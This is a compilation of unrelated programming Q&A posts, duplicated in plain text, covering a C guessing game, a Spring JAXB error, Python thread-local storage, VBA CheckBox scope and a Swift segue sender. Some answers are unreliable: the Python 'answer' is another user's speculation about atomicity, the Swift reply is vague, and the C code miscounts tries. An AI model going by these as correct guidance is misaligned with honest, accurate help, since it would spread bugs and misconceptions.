    printf("Hello %s\n, we're going to play a game where you guess a secret number. I will tell you if you're too high or too low, and I will also tell you at the end how many guesses you took.\n", name);

    //initializes the random number generator
    srand((unsigned) time(&t));

    //calculates a random number between 100 and 1*/
    randNum = rand() %100 + 1;

    do {
        printf("Guess a random number, but I bet you'll get it wrong:\n");
        scanf("%d", &inpUser);
        if (inpUser == randNum) {
            printf("That's the number! Maybe I underestimated you.\n");
        }
        else if (inpUser > randNum) {
            printf("You're a little high there, bud.\n");
        }
        else if (inpUser < randNum) {
            printf("Maybe go a little higher next time?\n");

            userTries++;

        }
    }
    while (randNum != inpUser);
    printf("Congratulations, you actually did it! That's the number! It took you %d tries, but you did it!", userTries);

    return 0;

}


问:
Spring test failing with NoClassDefFoundError
I have a config class

```<code>@Configuration
@EnableTransactionManagement
@EnableSpringDataWebSupport
public class WebConfig {

    @Bean
    public RequestContextListener requestContextListener() {
        return new RequestContextListener();
    }

    @Bean
    public DataSource dataSource() {

        EmbeddedDatabaseBuilder builder = new EmbeddedDatabaseBuilder();
        return builder.setType(EmbeddedDatabaseType.H2).build();
    }

    @Bean
    public EntityManagerFactory entityManagerFactory() {

        HibernateJpaVendorAdapter vendorAdapter = new HibernateJpaVendorAdapter();
        vendorAdapter.setGenerateDdl(true);
        vendorAdapter.setShowSql(true);

        LocalContainerEntityManagerFactoryBean factory = new LocalContainerEntityManagerFactoryBean();
        factory.setJpaVendorAdapter(vendorAdapter);
        factory.setPackagesToScan("mypackage");
        factory.setDataSource(dataSource());
        factory.afterPropertiesSet();

        return factory.getObject();
    }

}
</code>```

and I have a test class

```<code>@RunWith(SpringRunner.class)
@SpringBootTest(classes = App.class)
public class UserServiceTest {

    @Autowired
    private MyRepository myRepository;

    @Before
    public void initDB(){

        MyObj my = new MyObj();
        my.setValue(1000L);

        myRepository.save(my);
    }

    @Test
    public void test1() {
        assertEquals(4, userMoneyRepository.findAll());
    }

}
</code>```

and my error is

```<code>Caused by: java.lang.NoClassDefFoundError: javax/xml/bind/JAXBException
    at org.hibernate.boot.spi.XmlMappingBinderAccess.<init>(XmlMappingBinderAccess.java:43)
    at org.hibernate.boot.MetadataSources.getXmlMappingBinderAccess(MetadataSources.java:98)
    at org.hibernate.boot.model.process.spi.MetadataBuildingProcess.prepare(MetadataBuildingProcess.java:101)
    at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.<init>(EntityManagerFactoryBuilderImpl.java:242)
    at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.<init>(EntityManagerFactoryBuilderImpl.java:168)
    at org.springframework.orm.jpa.vendor.SpringHibernateJpaPersistenceProvider.createContainerEntityManagerFactory(SpringHibernateJpaPersistenceProvider.java:52)
    at org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean.createNativeEntityManagerFactory(LocalContainerEntityManagerFactoryBean.java:365)
    at org.springframework.orm.jpa.AbstractEntityManagerFactoryBean.buildNativeEntityManagerFactory(AbstractEntityManagerFactoryBean.java:391)
    at org.springframework.orm.jpa.AbstractEntityManagerFactoryBean.afterPropertiesSet(AbstractEntityManagerFactoryBean.java:378)
    at org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean.afterPropertiesSet(LocalContainerEntityManagerFactoryBean.java:341)
    at config.WebConfig.entityManagerFactory(WebConfig.java:48)
    at carx.config.WebConfig$$EnhancerBySpringCGLIB$$2f198977.CGLIB$entityManagerFactory$0(<generated>)
    at carx.config.WebConfig$$EnhancerBySpringCGLIB$$2f198977$$FastClassBySpringCGLIB$$d53a2482.invoke(<generated>)
    at org.springframework.cglib.proxy.MethodProxy.invokeSuper(MethodProxy.java:244)
    at org.springframework.context.annotation.ConfigurationClassEnhancer$BeanMethodInterceptor.intercept(ConfigurationClassEnhancer.java:363)
    at config.WebConfig$$EnhancerBySpringCGLIB$$2f198977.entityManagerFactory(<generated>)
    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.base/java.lang.reflect.Method.invoke(Method.java:567)
    at org.springframework.beans.factory.support.SimpleInstantiationStrategy.instantiate(SimpleInstantiationStrategy.java:154)
    ... 44 more
Caused by: java.lang.ClassNotFoundException: javax.xml.bind.JAXBException
    at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass(BuiltinClassLoader.java:583)
    at java.base/jdk.internal.loader.ClassLoaders$AppClassLoader.loadClass(ClassLoaders.java:178)
    at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:521)
    ... 65 more
</code>```

at config.WebConfig.entityManagerFactory(WebConfig.java:48) I have  factory.afterPropertiesSet();
What should I do? I use this config when I start application with Spring boot and it works.
I have runtime database when my application works. And I want use this configuration for tests.

答:
If you use Gradle add this :

```<code>compile group: 'javax.xml.bind', name: 'jaxb-api', version: '2.3.0'
</code>```

if you use Maven add this:

```<code><dependency>
    <groupId>javax.xml.bind</groupId>
    <artifactId>jaxb-api</artifactId>
    <version>2.3.0</version>
</dependency>
</code>```

Body:
I have a config class

@Configuration
@EnableTransactionManagement
@EnableSpringDataWebSupport
public class WebConfig {

    @Bean
    public RequestContextListener requestContextListener() {
        return new RequestContextListener();
    }

    @Bean
    public DataSource dataSource() {

        EmbeddedDatabaseBuilder builder = new EmbeddedDatabaseBuilder();
        return builder.setType(EmbeddedDatabaseType.H2).build();
    }

    @Bean
    public EntityManagerFactory entityManagerFactory() {

        HibernateJpaVendorAdapter vendorAdapter = new HibernateJpaVendorAdapter();
        vendorAdapter.setGenerateDdl(true);
        vendorAdapter.setShowSql(true);

        LocalContainerEntityManagerFactoryBean factory = new LocalContainerEntityManagerFactoryBean();
        factory.setJpaVendorAdapter(vendorAdapter);
        factory.setPackagesToScan("mypackage");
        factory.setDataSource(dataSource());
        factory.afterPropertiesSet();

        return factory.getObject();
    }

}

and I have a test class

@RunWith(SpringRunner.class)
@SpringBootTest(classes = App.class)
public class UserServiceTest {

    @Autowired
    private MyRepository myRepository;

    @Before
    public void initDB(){

        MyObj my = new MyObj();
        my.setValue(1000L);

        myRepository.save(my);
    }

    @Test
    public void test1() {
        assertEquals(4, userMoneyRepository.findAll());
    }

}

and my error is

Caused by: java.lang.NoClassDefFoundError: javax/xml/bind/JAXBException
    at org.hibernate.boot.spi.XmlMappingBinderAccess.<init>(XmlMappingBinderAccess.java:43)
    at org.hibernate.boot.MetadataSources.getXmlMappingBinderAccess(MetadataSources.java:98)
    at org.hibernate.boot.model.process.spi.MetadataBuildingProcess.prepare(MetadataBuildingProcess.java:101)
    at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.<init>(EntityManagerFactoryBuilderImpl.java:242)
    at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.<init>(EntityManagerFactoryBuilderImpl.java:168)
    at org.springframework.orm.jpa.vendor.SpringHibernateJpaPersistenceProvider.createContainerEntityManagerFactory(SpringHibernateJpaPersistenceProvider.java:52)
    at org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean.createNativeEntityManagerFactory(LocalContainerEntityManagerFactoryBean.java:365)
    at org.springframework.orm.jpa.AbstractEntityManagerFactoryBean.buildNativeEntityManagerFactory(AbstractEntityManagerFactoryBean.java:391)
    at org.springframework.orm.jpa.AbstractEntityManagerFactoryBean.afterPropertiesSet(AbstractEntityManagerFactoryBean.java:378)
    at org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean.afterPropertiesSet(LocalContainerEntityManagerFactoryBean.java:341)
    at config.WebConfig.entityManagerFactory(WebConfig.java:48)
    at carx.config.WebConfig$$EnhancerBySpringCGLIB$$2f198977.CGLIB$entityManagerFactory$0(<generated>)
    at carx.config.WebConfig$$EnhancerBySpringCGLIB$$2f198977$$FastClassBySpringCGLIB$$d53a2482.invoke(<generated>)
    at org.springframework.cglib.proxy.MethodProxy.invokeSuper(MethodProxy.java:244)
    at org.springframework.context.annotation.ConfigurationClassEnhancer$BeanMethodInterceptor.intercept(ConfigurationClassEnhancer.java:363)
    at config.WebConfig$$EnhancerBySpringCGLIB$$2f198977.entityManagerFactory(<generated>)
    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.base/java.lang.reflect.Method.invoke(Method.java:567)
    at org.springframework.beans.factory.support.SimpleInstantiationStrategy.instantiate(SimpleInstantiationStrategy.java:154)
    ... 44 more
Caused by: java.lang.ClassNotFoundException: javax.xml.bind.JAXBException
    at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass(BuiltinClassLoader.java:583)
    at java.base/jdk.internal.loader.ClassLoaders$AppClassLoader.loadClass(ClassLoaders.java:178)
    at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:521)
    ... 65 more

at config.WebConfig.entityManagerFactory(WebConfig.java:48) I have  factory.afterPropertiesSet();
What should I do? I use this config when I start application with Spring boot and it works.
I have runtime database when my application works. And I want use this configuration for tests.

Body:
If you use Gradle add this :

compile group: 'javax.xml.bind', name: 'jaxb-api', version: '2.3.0'

if you use Maven add this:

<dependency>
    <groupId>javax.xml.bind</groupId>
    <artifactId>jaxb-api</artifactId>
    <version>2.3.0</version>
</dependency>


问:
What is "thread local storage" in Python, and why do I need it?
In Python specifically, how do variables get shared between threads?

Although I have used threading.Thread before I never really understood or saw examples of how variables got shared.  Are they shared between the main thread and the children or only among the children? When would I need to use thread local storage to avoid this sharing?

I have seen many warnings about synchronizing access to shared data among threads by using locks but I have yet to see a really good example of the problem.

答:
I may be wrong here. If you know otherwise please expound as this would help explain why one would need to use thread local().

This statement seems off, not wrong: "If you want to atomically modify anything that another thread has access to, you have to protect it with a lock." I think this statement is ->effectively<- right but not entirely accurate. I thought the term "atomic" meant that the Python interpreter created a byte-code chunk that left no room for an interrupt signal to the CPU.

I thought atomic operations are chunks of Python byte code that does not give access to interrupts. Python statements like "running = True" is atomic. You do not need to lock CPU from interrupts in this case (I believe). The Python byte code breakdown is safe from thread interruption.

Python code like "threads_running[5] = True" is not atomic. There are two chunks of Python byte code here; one to de-reference the list() for an object and another byte code chunk to assign a value to an object, in this case a "place" in a list. An interrupt can be raised -->between<- the two byte-code ->chunks<-. That is were bad stuff happens.

How does thread local() relate to "atomic"? This is why the statement seems misdirecting to me. If not can you explain?

OwnerDisplayName: Mike


问:
Pass CheckBox-Objects
How do I have to pass CheckBox-Objects correct to other Subs/Functions?
Had to pass it multiples times. For illustation it worked for
case 1: MsgBox "1) " & ckBox.Name
but not in:
case 2: MsgBox "2) " & ckBox.Name

It starts with a Click-Event from the ClickBox in "ControlBox_Click_100".

```<code># Modul_1 ---------------------------------------------------
Sub ControlBox_Click_100()
    Call fColOnOff(bRowSearch, "New", "Old", , True)
End Sub

# Modul_2 ---------------------------------------------------
Sub fColOnOff(ByVal bRow As Byte, Optional ByVal sSuchen1 As String, _
                                  Optional ByVal sSuchen2 As String, _
                                  Optional ByVal sSuchen3 As String, _
                                  Optional ByVal bolSuchen2 As Boolean, _
                                  Optional ByVal bolSuchen3 As Boolean) _

Call fActCheckBox

    MsgBox "2) " & ckBox.Name

...

End Sub

# Modul_2 ---------------------------------------------------
Private Sub fActCheckBox()

Dim ckBox As CheckBox
Set ckBox = ActiveSheet.CheckBoxes(Application.Caller)

    MsgBox "1) " & ckBox.Name

End Sub
</code>```

答:
Message 2 doesn't work because ckBox is not a valid object in that Sub.

Look at how the checkbox is declared and initiated as an object in fActCheckbox:

```<code>Dim ckBox As CheckBox
Set ckBox = ActiveSheet.CheckBoxes(Application.Caller)
</code>```

fActCheckbox stands by itself - there's no link back to fColonOnOff; Call doesn't have the effect you think it has. All it does is execute another procedure.

If you were to turn fActCheckbox into a Public Function then something would be possible. For example

```<code>Sub Test
   MsgBox "2 " & fActCheckBox
End Sub

Public Function fActCheckBox() As String
  Dim ckName as String
  Dim ckBox As CheckBox
  Set ckBox = ActiveSheet.CheckBoxes(Application.Caller)

  ckName = ckBox.Name
  MsgBox "1) " & ckName
  fActCheckBox = ckName
End Function
</code>```

Title: Pass CheckBox-Objects

Body:
How do I have to pass CheckBox-Objects correct to other Subs/Functions?
Had to pass it multiples times. For illustation it worked for
case 1: MsgBox "1) " & ckBox.Name
but not in:
case 2: MsgBox "2) " & ckBox.Name

It starts with a Click-Event from the ClickBox in "ControlBox_Click_100".

# Modul_1 ---------------------------------------------------
Sub ControlBox_Click_100()
    Call fColOnOff(bRowSearch, "New", "Old", , True)
End Sub

# Modul_2 ---------------------------------------------------
Sub fColOnOff(ByVal bRow As Byte, Optional ByVal sSuchen1 As String, _
                                  Optional ByVal sSuchen2 As String, _
                                  Optional ByVal sSuchen3 As String, _
                                  Optional ByVal bolSuchen2 As Boolean, _
                                  Optional ByVal bolSuchen3 As Boolean) _

Call fActCheckBox

    MsgBox "2) " & ckBox.Name

...

End Sub

# Modul_2 ---------------------------------------------------
Private Sub fActCheckBox()

Dim ckBox As CheckBox
Set ckBox = ActiveSheet.CheckBoxes(Application.Caller)

    MsgBox "1) " & ckBox.Name

End Sub

Body:
Message 2 doesn't work because ckBox is not a valid object in that Sub.

Look at how the checkbox is declared and initiated as an object in fActCheckbox:

Dim ckBox As CheckBox
Set ckBox = ActiveSheet.CheckBoxes(Application.Caller)

fActCheckbox stands by itself - there's no link back to fColonOnOff; Call doesn't have the effect you think it has. All it does is execute another procedure.

If you were to turn fActCheckbox into a Public Function then something would be possible. For example

Sub Test
   MsgBox "2 " & fActCheckBox
End Sub

Public Function fActCheckBox() As String
  Dim ckName as String
  Dim ckBox As CheckBox
  Set ckBox = ActiveSheet.CheckBoxes(Application.Caller)

  ckName = ckBox.Name
  MsgBox "1) " & ckName
  fActCheckBox = ckName
End Function


问:
not able to figure out what sender to return from a leadingSwipeActions for a prepare for segue
Sorry, I am brand new swift and IOS development but I have a table view with each element in the table view I can tap on the item to go to my edit screen which determines the information in the table cell. I would like to also have a leadingSwipeActionsConfigurationForRowAt bring up an edit button that uses the same segue way to get to into edit screen as taping the cell. The issue is that my prepare(for segue:) statement for the handling of the tap segue keeps failing because of the sender of leadingSwipeAction. Now I am really confused about what I should put as my sender in my leadingSwipeAction. I have tried a UITableViewCell() which failed this guard statement:

guard let ViewController = segue.destination as? ViewController else {
                             fatalError("Unexpected destination: \(segue.destination)")
            }

for being a UIView() and then I tried sending a taskCellTableViewCell which is the object/class I called an individual cell but that returned a nil/empty cell which failed another guard statement in the prepare. So now I am confused about how to get and send the actual cell that leadingSwipeAction was performed on. I hope anyone can help me figure out the correct sender I need to return to pass the prepare. Thanks

Here is the code used for the leadingSwipeAction and prepare:

```<code>//leading swipe for editing code
override func tableView(_ tableView: UITableView, leadingSwipeActionsConfigurationForRowAt indexPath: IndexPath) -> UISwipeActionsConfiguration? {

    let edit = UIContextualAction(style: .normal, title: "Edit") { (contextualAction, view, actionPerformed: (Bool) -> ()) in
        self.performSegue(withIdentifier: "showDetail", sender: UITableViewCell())
        actionPerformed(true)

    }

    return UISwipeActionsConfiguration(actions: [edit])
}

    // Get the new view controller using segue.destination.
    // Pass the selected object to the new view controller.
    super.prepare(for: segue, sender: sender)

    switch(segue.identifier ?? "") {

        case "addItem":
        os_log("Adding a new task.", log: OSLog.default, type: .debug)

        case "showDetail":
        guard let ViewController = segue.destination as? ViewController else {
            fatalError("Unexpected destination: \(segue.destination)")
        }

        guard let selectedTaskCell = sender as? taskCellTableViewCell else {
            fatalError("Unexpected sender: \(sender)")
        }

        guard let indexPath = tableView.indexPath(for: selectedTaskCell) else {
            fatalError("The selected cell is not being displayed by the table")
        }

        let selectedTask = tasks[indexPath.row]
        ViewController.Task = selectedTask

        default:
        fatalError("Unexpected Segue Identifier; \(segue.identifier)")

    }
}
</code>```

it fails trying to use the showDetail segue again.

Also here is a pastebin of the complete code of the project pastebin

答: I don't think a tableViewCell can be used as a sender, are you not able to set this to the ViewController you are initiating the segue from, that should work.

Body:
Sorry, I am brand new swift and IOS development but I have a table view with each element in the table view I can tap on the item to go to my edit screen which determines the information in the table cell. I would like to also have a leadingSwipeActionsConfigurationForRowAt bring up an edit button that uses the same segue way to get to into edit screen as taping the cell. The issue is that my prepare(for segue:) statement for the handling of the tap segue keeps failing because of the sender of leadingSwipeAction. Now I am really confused about what I should put as my sender in my leadingSwipeAction. I have tried a UITableViewCell() which failed this guard statement:

guard let ViewController = segue.destination as? ViewController else {
                             fatalError("Unexpected destination: \(segue.destination)")
            }

for being a UIView() and then I tried sending a taskCellTableViewCell which is the object/class I called an individual cell but that returned a nil/empty cell which failed another guard statement in the prepare. So now I am confused about how to get and send the actual cell that leadingSwipeAction was performed on. I hope anyone can help me figure out the correct sender I need to return to pass the prepare. Thanks

Here is the code used for the leadingSwipeAction and prepare:

//leading swipe for editing code
override func tableView(_ tableView: UITableView, leadingSwipeActionsConfigurationForRowAt indexPath: IndexPath) -> UISwipeActionsConfiguration? {

    let edit = UIContextualAction(style: .normal, title: "Edit") { (contextualAction, view, actionPerformed: (Bool) -> ()) in
        self.performSegue(withIdentifier: "showDetail", sender: UITableViewCell())
        actionPerformed(true)

    }

    return UISwipeActionsConfiguration(actions: [edit])
}

    // Get the new view controller using segue.destination.
    // Pass the selected object to the new view controller.
    super.prepare(for: segue, sender: sender)

    switch(segue.identifier ?? "") {

        case "addItem":
        os_log("Adding a new task.", log: OSLog.default, type: .debug)

        case "showDetail":
        guard let ViewController = segue.destination as? ViewController else {
            fatalError("Unexpected destination: \(segue.destination)")
        }

        guard let selectedTaskCell = sender as? taskCellTableViewCell else {
            fatalError("Unexpected sender: \(sender)")
        }

        guard let indexPath = tableView.indexPath(for: selectedTaskCell) else {
            fatalError("The selected cell is not being displayed by the table")
        }

        let selectedTask = tasks[indexPath.row]
        ViewController.Task = selectedTask

        default:
        fatalError("Unexpected Segue Identifier; \(segue.identifier)")

    }
}

it fails trying to use the showDetail segue again.

Also here is a pastebin of the complete code of the project pastebin